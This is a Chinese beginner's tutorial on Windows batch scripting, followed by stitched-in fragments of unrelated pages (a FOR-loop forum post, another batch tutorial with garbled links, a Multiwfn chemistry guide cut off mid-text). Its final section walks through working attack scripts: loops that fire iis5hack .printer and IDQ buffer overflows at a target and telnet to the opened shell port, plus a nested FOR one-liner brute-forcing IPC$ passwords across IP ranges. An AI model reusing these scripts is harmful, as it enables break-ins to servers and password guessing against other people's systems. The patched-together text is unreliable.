初学者入门--批处理教程

初学者入门--批处理

教程

-CAL-FENGHAI.-(YICAI)-Company One1

最近好多猜测弱口令的病毒在网上流行,比如前段时间闹得很厉害的蠕虫就是一个典型。这些病毒有个共同点就是利用批处理来进行ipc$连接,从而来猜测管理员的口令达到控制服务器的目的。病毒由几个文件和几个复杂的批处理组成。批处理算不上真正意义上的编程,但是它的一些思想和编程比较近似。通过在网上和一些初学的朋友交流,发现他们对于批处理很感兴趣,多多少少了解一些命令的用法,但缺乏比较系统的了解,所以特意写下这篇教程,好让感兴趣的朋友对批处理有个整体的认识,并能通过该教程举一反三,写出自己的批处理。

该教程一共分为4大部分,第一部分是批处理的专用命令,第二部分是特殊的符号与批处理,第三部分是批处理与变量,第四部分是完整案例。

第一部分:批处理的专用命令

批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。

1、 REM

REM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。例:

REM 你现在看到的就是注解,这一句将不会被执行。在以后的例子中解释的内容都REM 会放在REM后面。请大家注意。

2、 ECHO

ECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息。例:

Echo off

Rem 以上代表关闭回显即不显示所执行的命令

Echo 这个就是消息。

Rem 以上代表显示“这就是消息”这列字符

执行结果:

C:\>

这个就是消息。

3、 GOTO

GOTO 即为跳转的意思。在批处理中允许以“:XXX”来构建一个标号然后用GOTO :标号直接来执行标号后的命令。例

:LABEL

REM 上面就是名为LABEL的标号。

DIR C:\

DIR D:\

GOTO LABEL

REM 以上程序跳转标号LABEL处继续执行。

4、CALL

CALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。例:

批处理内容如下:

ECHO 这就是2的内容

批处理内容如下:

ECHO 这是1的内容

CALL

ECHO 1和2的内容全部显示完成

执行结果如下:

C:\>

这是1的内容

这就是2的内容

1和2的内容全部显示完成

5、PAUSE

PAUSE 停止系统命令的执行并显示下面的内容。例:

C:\> PAUSE

请按任意键继续 . . .

6、 IF

IF 条件判断语句,语法格式如下:

IF [NOT] ERRORLEVEL number command

IF [NOT] string1==string2 command

IF [NOT] EXIST filename command

说明:

[NOT] 将返回的结果取反值即“如果没有”的意思。

ERRORLEVEL 是命令执行完成后返回的退出值

Number 退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。

string1==string2 string1和string2都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是2个(绝对相等),条件想等后即执行后面的 command

EXIST filename 为文件或目录存在的意思。

IF ERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的返回值。

例:

1、 IF [NOT] ERRORLEVEL number command

检测命令执行完后的返回值做出判断。

echo off

dir z:

rem 如果退出代码为1(不成功)就跳至标题1处执行

IF ERRORLEVEL 1 goto 1

rem 如果退出代码为0(成功)就跳至标题0处执行

IF ERRORLEVEL 0 goto 0

:0

echo 命令执行成功!

Rem 程序执行完毕跳至标题exit处退出

goto exit

:1

echo 命令执行失败!

Rem 程序执行完毕跳至标题exit处退出

goto exit

:exit

Rem 这里是程序的出口

2、 IF string1==string2 command

检测当前变量的值做出判断

ECHO OFF

IF %1==2 goto no

Echo 变量相等!

Goto exit

:no

echo 变量不相等

goto exit

:exit

大家可以这样看效果 C:\> 数字

3、 IF [NOT] EXIST filename command

发现特定的文件做出判断

echo off

IF not EXIST goto 1

echo 文件存在成功!

goto exit

:1

echo 文件不存在失败!

goto exit

:exit

这个批处理大家可以放在c盘和d盘分别执行看看效果。

7、 FOR

FOR这个命令比较特殊是一个循环执行命令的命令,同时FOR的循环里面还可以套用FOR在进行循环。这篇我们介绍基本的用法就不做套用的循环了,后面再来讲解套用的循环。在批处理中FOR的命令如下:

FOR [%%c] IN (set) DO [command] [arguments]

在命令行中命令如下:

FOR [%c] IN (set) DO [command] [arguments]

常用参数:

/L 该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。

/D 如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。

/F 从指定的文件中读取数据作为变量

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。

usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。

下面来看一个例子:

FOR /F "eol=; tokens=2,3* delims=, " %i in do @echo %i %j %k

会分析中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量名分大小写,是通用的;而且,同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子,其输出会被抓进内存,并被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

以下列举一个简单的例子,他将说明参数/L和没有参数的区别:

删除文件

例:

ECHO OFF

FOR /L %%F IN (1,1,5) DO DEL %%

FOR %%F IN (1,2,3,4,5) DO DEL %%

以上2条命令执行的结果都是一样的如下:

C:\>DEL

C:\>DEL

C:\>DEL

C:\>DEL

C:\>DEL

8、 SETLOCAL

开始批处理文件中环境改动的本地化操作。在执行 SETLOCAL 之后

所做的环境改动只限于批处理文件。要还原原先的设置,必须执

行 ENDLOCAL。达到批处理文件结尾时,对于该批处理文件的每个

尚未执行的 SETLOCAL 命令,都会有一个隐含的 ENDLOCAL 被

执行。例:

@ECHO OFF

SET PATH /*察看环境变量PATH

PAUSE

SETLOCAL

SET PATH=E:\TOOLS /*重新设置环境变量PATH

SET PATH

PAUSE

ENDLOCAL

SET PATH

从上例我们可以看到环境变量PATH第1次被显示得时候是系统默认路径。被设置成了E:\TOOLS后显示为E:\TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH将会还原。

9、 SHIFT

SHIFT命令可以让在命令上的的命令使用超过10个(%0~%9)以上的可替代参数例:

ECHO OFF

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

执行结果如下:

C::\> 1 2 3 4 5 6 7 8 9 10 11

1 2 3 4 5 6 7 8 9

2 3 4 5 6 7 8 9 10

3 4 5 6 7 8 9 10 11

以上就是基于WIN2000下的9个批处理命令。

第二部分:特殊的符号与批处理

在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。

1、符号(@)

@在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echo off 可以关掉整个批处理的命令回显但却不能不显示echo off这个命令。现在我们在这个命令前加上@这样echo off这一命令就被@关闭了回显从而达到所有命令均不回显得要求

2、符号(>)

>的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围(后面可是文件也可是默认的系统控制台)例:

文件的文件内容为:

1+1

使用命令c:\>dir *.txt >

这时候的内容如下

驱动器 C 中的卷没有标签。

卷的序列号是 301A-1508

C:\ 的目录

2003-03-11 14:04 1,005

2003-04-04 16:38 18,598,494

2003-04-04 17:02 5

2003-03-12 11:43 0

2003-03-30 00:35 30,571 个文件 18,630,070 字节

0 个目录 1,191,542,784 可用字节

>将命令执行的结果覆盖了原始的文件内容。

在传递给控制台的时候程序将不会有任何回显(注意:这里的回显跟echo off关掉的回显不是同一概念。Echo off关掉的是输入命令的回显,这里的回显是程序执行中或后的回显)例:

C:\>dir *.txt >nul

程序将没有任何显示也不会产生任何痕迹。

3、符号(>>)

符号>>的作用与符号>相似,但他们的区别在于>>是传递并在文件末尾追加>>也可将回显传递给控制台(用法同上)例:

文件内同为:

1+1

使用命令c:\>dir *.txt >>

这时候的内容如下

1+1

驱动器 C 中的卷没有标签。

卷的序列号是 301A-1508

C:\ 的目录

2003-03-11 14:04 1,005

2003-04-04 16:38 18,598,494

2003-04-04 17:02 5

2003-03-12 11:43 0

2003-03-30 00:35 30,571 个文件 18,630,070 字节

0 个目录 1,191,542,784 可用字节

>>将命令执行的结果覆加在了原始的文件内容后面。

4、符号(|)

|是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例:

C:\>dir c:\|find "1508"

卷的序列号是 301A-1508

以上命令的意思为查找c:\的所有并发现1508字符串。Find的用法请用find /自行查看

在不使用format的自动格式化参数的时候我是这样来自动格式化盘片的echo y|fornat a: /s /q /v:system

用过format命令的人都知道format有一个交互对化过程,要使用者输入y 来确定当前的命令是否被执行。在这个命令前加上echo y并用管道传输符|将echo执行的结果y传递给format从而达到手工输入y的目的(这条命令有危害性,测试的时候请谨慎)

5、符号(^)

^ 是对特殊符号 > 、<、 &、的前导字符。在命令中他将以上的3个符号的特殊动能去掉仅仅只吧他们当成符号而不使用他们的特殊意义。例:c:\>echo test ^>

test >

从上面可以看出并没有把test写入文件而是将test > 当字符串显示了出来。这个符号在远程构建批处理的时候很有效果。

6、符号(&)

&符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败将不影响第2个命令的执行。例:

c:\> dir z:\ &dir y:\ &dir c:\

以上的命令将会连续显示z: y: c:盘内的内容不理会该盘符是否存在。

7、符号(&&)

&&符号也是允许在一行中使用2个以上不同的命令,当第一个命令执行失败后后续的命令将不会再被执行。例:

c:\> dir z:\ &&dir y:\ &&dir c:\

以上的命令将会提示检查是否存在z:盘如果存在则执行,如果不存在则停止执行所有的后续命令

8、符号(" ")

" "符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例: c:\>cd “Program Files”

c:\>cd progra~1

c:\>cd pro*

以上方法都可以进入Program Files目录

9、符号(,)

,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例:

c:\>dir,c:\

10、符号(;)

;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例:DIR C:\;D:\;E:\F:\

以上的命令相当于

DIR C:\

DIR D:\

DIR E:\

DIR F:\

当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。

第三部分:批处理与变量

在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%9共10个。其中%0默认给批处理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一个%0那么结果如下:

C::\> 1 2 3 4 5 6 7 8 9 10 11

1 2 3 4 5 6 7 8 9

1 2 3 4 5 6 7 8 9 10

2 3 4 5 6 7 8 9 10 11

系统是如何区分每个变量的呢,系统区分变量的规则为字符串中间的空格,即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例:

批处理内容为:

ECHO %1

ECHO %2

ECHO %3

输入命令:

C:\>TEST “Program Files” Program Files

Program Files

Program

Files

在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢在系统中还有一种变量称之为环境变量(使用SET命令可以查看当前系统的环境变量)如当前系统目录是%windir%

或%SystemRoot%等。当同时使用的参数超过10个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如 SET A=%1 这样我们就命名了一个新的环境变量A 在调用变量A的时候要%A%这样调用,环境变量不受SHIFT命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子,批处理如下:

ECHO OFF

SET PASS=%1

SHIFT

SET PASS1=%1

SHIFT

ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

ECHO %PASS% %PASS1% %9

SET PASS=%PASS1% 变量的传递

SET PASS1=%9

SHIFT

ECHO %PASS% %PASS1% %9

使用命令:C:\>TEST A B 3 4 5 6 7 8 9 10 K L

A B 3 4 5 6 7 8 9 10 K 注意:这一行显示了11个变量

A B L 在使用了3次SHIFT之后%9变成了L

B L 变量的传递后的结果

第四部分:完整案例

以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/*后面。

例一

这个例子是利用对有.printer漏洞的主机进行溢出的批处理。用到的程序有和系统自带的。iis5hack的命令格式为:

iis5hack <目标ip> <目标端口> <目标版本> <溢出连接端口>目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为 < 目标ip (开始版本号)>开始版本号可有可无。程序如下。

@echo off /*关闭命令回显

if "%1%"=="" goto help /*判断%1是否为空,%1为目标ip

if "%2%"=="1" goto 1 /*判断%2是否为1,为1则跳转标志1

if "%2%"=="2" goto 2 /*%2为开始版本号,如果没有设置则

if "%2%"=="3" goto 3 /*如果存在则从匹配的地方开始执行

if "%2%"=="4" goto 4

if "%2%"=="5" goto 5

if "%2%"=="6" goto 6

if "%2%"=="7" goto 7

if "%2%"=="8" goto 8

if not EXIST goto file /*没有发现就执行标志file段内容

ping %1 -n 1 | find "Received = 1" /*ping目标1次,从结果中发现Received = 1

if errorlevel 1 goto error /*如果返回代码为1则执行error段(代码1为没有发现 0为发现并成功执行)

iis5hack %1 80 9 88 | find "good" /*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串”good”(溢出成功后才会有字符串good) if not errorlevel 1 goto telnet /*如果没有错误代码1(溢出成功)就执行telnet段的内容。

echo 操作系统类型 9 失败! /否则显示这一句

:8 /*以下代码内容参照上面

iis5hack %1 80 8 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 8 失败!

:7

iis5hack %1 80 7 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 7 失败!

:6

iis5hack %1 80 6 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 6 失败!

:5

iis5hack %1 80 5 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 5 失败!

:4

iis5hack %1 80 4 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 4 失败!

:3

iis5hack %1 80 3 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 3 失败!

:2

iis5hack %1 80 2 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 2 失败!

:1

iis5hack %1 80 1 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 1 失败!

:0

iis5hack %1 80 0 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 0 失败!

goto error

:telnet

telnet %1 88 /*开始连接目标ip的88端口

goto exit /*连接中断后跳转exit段

:error /*error段显示错误后的帮助信息

echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!

echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口]

ECHO 中文: 0

ECHO 中文+sp1: 1

ECHO 英文: 2

ECHO 英文+sp1: 3

ECHO 日语: 4

ECHO 日语+sp1: 5

ECHO 韩文: 6

ECHO 韩文+sp1: 7

ECHO 墨西哥语: 8

ECHO 墨西哥语+sp1: 9

goto exit /*跳转exit段

:file /*file段显示文件没有发现的信息

echo 文件没有发现!程序终止运行!

goto exit /*跳转exit段

:help /*help段显示本批处理的使用格式帮助

echo 本程序用法如下:

echo iis [目标ip]

echo iis [目标ip] [开始的号码9-0]

:exit /*exit段为程序出口

这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大!

例二

这个例子是用对有idq漏洞的机器进行溢出的批处理。使用的程序有和系统自带的程序。的用法如下:

运行参数: 操作系统类型目的地址 web端口 1 溢出监听端口 <输入命令1>

其中,如果输入命令参数没有输入,那么,默认为:""。

其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 < 目标ip>程序如下:

@echo off /*同例一

if not EXIST goto file /*同例一

if %1 == "" goto error /*同例一

ping %1 -n 1 | find "Received = 1" /*同例一

if errorlevel 1 goto error1 /*同例一

set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip

set a=0 /*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。

:no /*no段开始

if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量

d=0。

if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码,用计数器来控制其

if %a%==2 set d=2 /*变动。

if %a%==3 set d=3

if %a%==4 set d=4

if %a%==5 set d=5

if %a%==6 set d=6

if %a%==7 set d=7

if %a%==9 set d=9

if %a%==10 set d=13

if %a%==11 set d=14

goto 0 /*变量传递完成后转到标志0处运行

:1

echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候......

:0 /*标志0开始

IISIDQ %d% %b% 80 1 99 |find "good" /*按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good)

if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成跳

/*转标志1处继续尝试发送

ping -n 8 >nul /*ping自己8次相当于延时8秒不显示执

/*行结果

echo 正在执行第%d%项! /*报告正在溢出的操作系统类型

telnet %b% 99 /*连接溢出端口

echo. /*显示一个空行

if %d%==14 goto error1 /*如果操作系统类型为14则跳转error1处(循环出口)

if %d%==13 set a=11 /*开始用计数器对操作系统代码重新附值

if %d%==9 set a=10

if %d%==7 set a=9

if %d%==6 set a=7

if %d%==5 set a=6

if %d%==4 set a=5

if %d%==3 set a=4

if %d%==2 set a=3

if %d%==1 set a=2

if %d%==0 set a=1

goto no /*附值完成跳转no段执行

:file /*以下都是出错后的帮助提示

echo 没有发现!将该文件和本文件放在同一目录!

goto exit

:error

echo 错误!目标ip不可识别!请使用下面的格式连接!

echo idq [目标IP]

goto exit

:error1

echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至!

echo 请按照下面的格式手工尝试!

echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口]

echo telnet [目标ip] [溢出端口]

:exit /*整个程序的出口

这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。

例三

for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f 上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为:C:\> 218 当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去,设密码为123 用户名为 abc) net usr \\\ipc$ 123 /u:abc

当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我把这个例子做了些修改(完整文件见光盘)由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指定开始到结束或你指定开始到最大ip的范围。当然功能还可以在加强,至于能加强到什么地步能不能成为一个新的工具那就是你的事了。

这个的循环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了,大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦!最起码这是个没有使用任何第三方工具就能探测并保存弱口令的批处理了!!简单的改一改杀伤力还是很大的。以上这些批处理全部在win2000和xp下测试通过最大的优点就是只有一个批处理文件并且绝对不会误报。缺点就是太长!

批处理命令for语句基本用法

批处理命令for语句的基本用法 [系列教程]批处理for语句从入门到精通[20101225更新] ____________________________版主提醒 ____________________________ 文档来自于网络搜索 为了避免影响技术讨论、提高看帖的舒适性,请大家不要在此帖下跟 无实质内容的口水帖,特别是纯顶、纯支持、纯感谢、路过之类的帖子, 管理人员将不定期清理此类回帖,请大家多参与讨论少灌水,与人方便, 终将给自己带来方便,谢谢合作。 ________________________________________________________________ 文档来自于网络搜索 批处理是一门简单的脚本语言,虽然不能独当一面,但是,若作为工作中的辅助工具,绝对会让大家有随用随写、称心如意的畅快感。 文档来自于网络搜索 和其他语言相比,批处理语言有其先天性的优势: 1、系统自带,无需另行安装; 2、命令少,语句简洁,上手非常快; 3、编写出来的脚本小巧玲珑,随写随用; 但是,因为它以命令行方式工作,操作多有不便,在图形界面大行其道的windows世界里,多多少少会让大众望而却步;就算是对命令行有好感的新手,面对微软有如天书的帮助文件,很多人也会败下阵来,因此,论坛里很多会员也发出了编写系统的批处理教程的呼声。

文档来自于网络搜索 编写系统的批处理新手教程,一直是论坛管理层讨论的热点问题,但是,各位管理人员大多都有工作在身,而系统的教程涉及的面是如此之广,面对如此浩大的工程,仅凭一两个人的力量,是难以做好的,因此,本人退而求其次,此次发布的教程,以专题的形式编写,日后人手渐多之后,再考虑组织人力编写全面的教程。 文档来自于网络搜索之所以选择最难的for,一是觉得for最为强大,是大多数人最希望掌握的;二是若写其他命令教程,如果没有for的基础,展开来讲解会无从下手;三是for也是批处理中最复杂最难掌握的语句,把它攻克了,批处理的学习将会一片坦途。 文档来自于网络搜索 这次的for语句系列教程,打算按照for语句的5种句式逐一展开,在讲解for/f的时候,会穿插讲解批处理中一个最为关键、也是新手最容易犯错的概念:变量延迟,大纲如下: 文档来自于网络搜索一前言 二for语句的基本用法 三for /f(含变量延迟) 四for /r 五for /d 六for /l 遵照yibantiaokuan的建议,在顶楼放出此教程的txt版本、word版本和pdf版本,以方便那些离线浏览的会员。 文档来自于网络搜索[本帖最后由namejm于2010-12-26 02:36编辑]

十分经典的excel批处理教程

十分经典的批处理教程 这是一篇技术教程,真心诚意会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。. 先概述一下批处理是个什么东东。批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个"比较合适的",而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。或许你会因为这篇文章而"无条件爱上批处理",那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的! 按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。 OK,never claver and get to business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为BA TCH,批处理文件后缀BA T就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句"闲话":要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。 例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似): ping https://www.360docs.net/doc/052272969.html, > a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt exit 是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离"从服务器中转"那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。 例二、再给出一个已经过时的例子(a.bat):

Multiwfn入门

Multiwfn入门tips 文/Sobereva 2012-Nov-7 Multiwfn是一个功能广泛、高效、易用的量子化学波函数分析程序。写本文的目的是帮助刚接触Multiwfn的人能够在短时间内了解Multiwfn的基本原理以及如何使用。但此文并不讲解程序操作过程和原理,因为这些内容已经在诸多帖子、程序手册里有详尽描述和示例。本文着重谈一下应该优先看哪些资料,如何使用手册等问题,使读者明白Multiwfn的使用根本没有什么门槛。与此同时也提及一些量化刚入门的用户可能会忽略的要点或困惑的问题。本文内容对应的是Multiwfn 2.6版。 1 对使用者的要求 对于量化初学者,Multiwfn当成一个工具作为黑箱来用也可以,但是我还是建议使用者具备一些最基本的理论知识,这样才能避免犯低级错误,才能更透彻地理解程序原理和输出信息的物理意义。使用者只要仔细读过Levine的Quantum chem istry第五版或第六版(或具有相同级别的知识),就已经足够了,结合手册中对各个功能的理论的讲解,就完全能够理解Multiwfn涉及的全部功能的原理了。 绝大部分Multiwfn的功能运算效率都很高,而且支持并行,在普通个人双核机子上运行就已经挺快了。完全没必要弄到服务器上去执行。 2 程序的下载、安装、执行和引用 Multiwfn最新版本的可执行文件、源代码和手册pdf文档在https://www.360docs.net/doc/052272969.html, 的首页上点击相应链接即可下载,老版本可以点击download标签然后下载。文件名上带bin 或binary的表明是已编译好的可执行文件,src代表源代码文件包。 在首页的Recent update history栏目中可以看到最新版本更新了哪些内容。在每个正式版本发布之前,有可能也把正在开发的临时版本挂在这个栏目上。临时版本未经全面测试,手册也没写全,但是已经实现了更新历史上提到的最新功能和改进。如果想尝鲜可以试试。Multiwfn更新比较快。新版本中总会不断添加新的有用的功能、改善界面设计使之更好用、修复各种bug、提升运行效率。我强烈建议时常查看Multiwfn主页,更新到最新版本。老版本的一些bug可能造成结果是错的,但是没有经验的用户又察觉不出来,这种情况甚至有可能使文章的研究的结论有误,这将是很大问题。所以,即便新版本的功能用不到,也应当勤快更新至最新版本。 程序解压后即可执行。不要解压到路径太长的文件夹里。压缩包里的settings.ini里包含了各种运行参数,这些参数平时使用时一般不需要调节。各个参数在文件中的//后面的注释中都有说明,大部分参数的用处在手册中会更详细地解释。这些参数在Multiwfn启动时会被载入。有兴趣的话,不妨将每个参数的注释都看一遍,可能会发现对你有用的。 如果是第一次使用Multiwfn,强烈建议使用Windows版,有多个原因:1 Multiwfn的开发、测试环境都在Windows下完成,所以Windows版比Linux版更可靠(运算结果应该不会有差别,因为都是相同的编译器和编译参数)。2 Linux版Multiwfn的个别功能有限制,见手册Linux users must read部分的说明。3 Linux版本使用时需要对系统进行一些配置,有可能需要安装缺失的库文件(见手册2.1.2节),而不像Windows版那样直接用就行,故略微麻烦。注意Linux版可以在纯文本环境下运行,但是在纯文本环境下一些功能所具备的图形界面就无法显示了(届时会直接导致程序退出)。 程序运行后,先输入要载入的文件名,然后根据屏幕上每个选项所表示的含义,选择相应选项,或输入相应内容即可。选项往往比较多(这是为程序的灵活性考虑),只要从选项的文字上觉得和自己的目的无关,就不必管它,这些暂时用不到的选项的用途日后会渐渐明白。使用Multiwfn的过程中一定要注意阅读和领会屏幕上的各种信息和提示,Multiwfn会尽可能在不至于信息过于冗长的情况下,直接在屏幕上告诉用户接下来应该输入什么,免得用户

批处理基础知识

